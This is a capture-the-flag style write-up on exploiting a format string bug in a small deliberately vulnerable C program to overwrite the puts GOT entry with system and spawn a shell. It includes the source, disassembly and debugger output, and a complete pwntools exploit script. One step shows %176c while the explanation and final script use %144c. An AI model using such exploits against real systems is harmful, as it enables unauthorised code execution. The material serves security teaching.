Simple PWN - 0x11(format string bug)
tags: CTF
PWN
eductf
format string bug background
Original Code
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
int main()
{
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
char fmt[0x20];
system("echo 'Give me fmt: '");
read(0, fmt, 0x20);
printf(fmt);
system("echo 'Give me string: '");
read(0, fmt, 0x20);
puts(fmt);
return 0;
}
$ gcc -o fmt fmt.c -no-pie -fno-stack-protector -z norelro -zexecstack
- In this problem, we can consider to use
format string bug
to achieveGOT hijacking
without buffer overflow. - The main idea is totally the same as GOT hijacking lecture
- Thus, we can observe which function can be overlapped by
system plt
→ **`puts function`**- Because…
puts
just needs one argument likesystem
function, but how aboutprintf
? Unfortunately, it appeared before 2nd read function, because 2ndread
needs to store the argument forsystem
function such assh\x00
.
- Because…
Exploit - GOT hijacking + format string bug
Our goal is hijack puts GOT
to system plt
- Find
puts GOT
address andsystem plt
→ `0x403318` and `0x401090`1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20$ objdump -d fmt ... 0000000000401090 <system@plt>: 401090: f3 0f 1e fa endbr64 401094: f2 ff 25 85 22 00 00 bnd jmp *0x2285(%rip) # 403320 <system@GLIBC_2.2.5> 40109b: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1) ... $ gdb fmt ... pwndbg> attach <PID> pwndbg> got GOT protection: No RELRO | GOT functions: 5 [0x403318] puts@GLIBC_2.2.5 -> 0x401030 ◂— endbr64 [0x403320] system@GLIBC_2.2.5 -> 0x7f87de291d60 (system) ◂— endbr64 [0x403328] printf@GLIBC_2.2.5 -> 0x401050 ◂— endbr64 [0x403330] read@GLIBC_2.2.5 -> 0x7f87de355980 (read) ◂— endbr64 [0x403338] setvbuf@GLIBC_2.2.5 -> 0x7f87de2c2670 (setvbuf) ◂— endbr64 ...
- Construct format string - try and error
r.sendafter("Give me fmt: ", b"%176c%8$hhn" + b"aaaaa" + p64(puts_got))
從結果來看比較清楚
- Parse
b"%176c%8$hhn" + b"aaaaa" + p64(puts_got)
Our goal is overlapputs GOT
, so we put address of puts_got at final position, that is[%rsp + 16]
(format string:$8
) We want to modify0x401030
to0x401090
, so we just modify only 1 bytes(format string:%hhn
). In addition, `0x90` is 144 as decimal.(format string:%176c
) Combine all format sting:%176c%8$hhn
and other space can pad trash bytes
- Parse
- Pass the command to
system
function -sh\x00
to open shellr.sendafter("Give me string: ", "sh\x00")
- Finally, we got shell!!!
- Whole exploit
from pwn import * context.arch = 'amd64' r = process("./fmt") raw_input() puts_got = 0x403318 system_plt = 0x401090 r.sendafter("Give me fmt: ", b"%144c%8$hhn" + b"aaaaa" + p64(puts_got)) r.sendafter("Give me string: ", "sh\x00") r.interactive()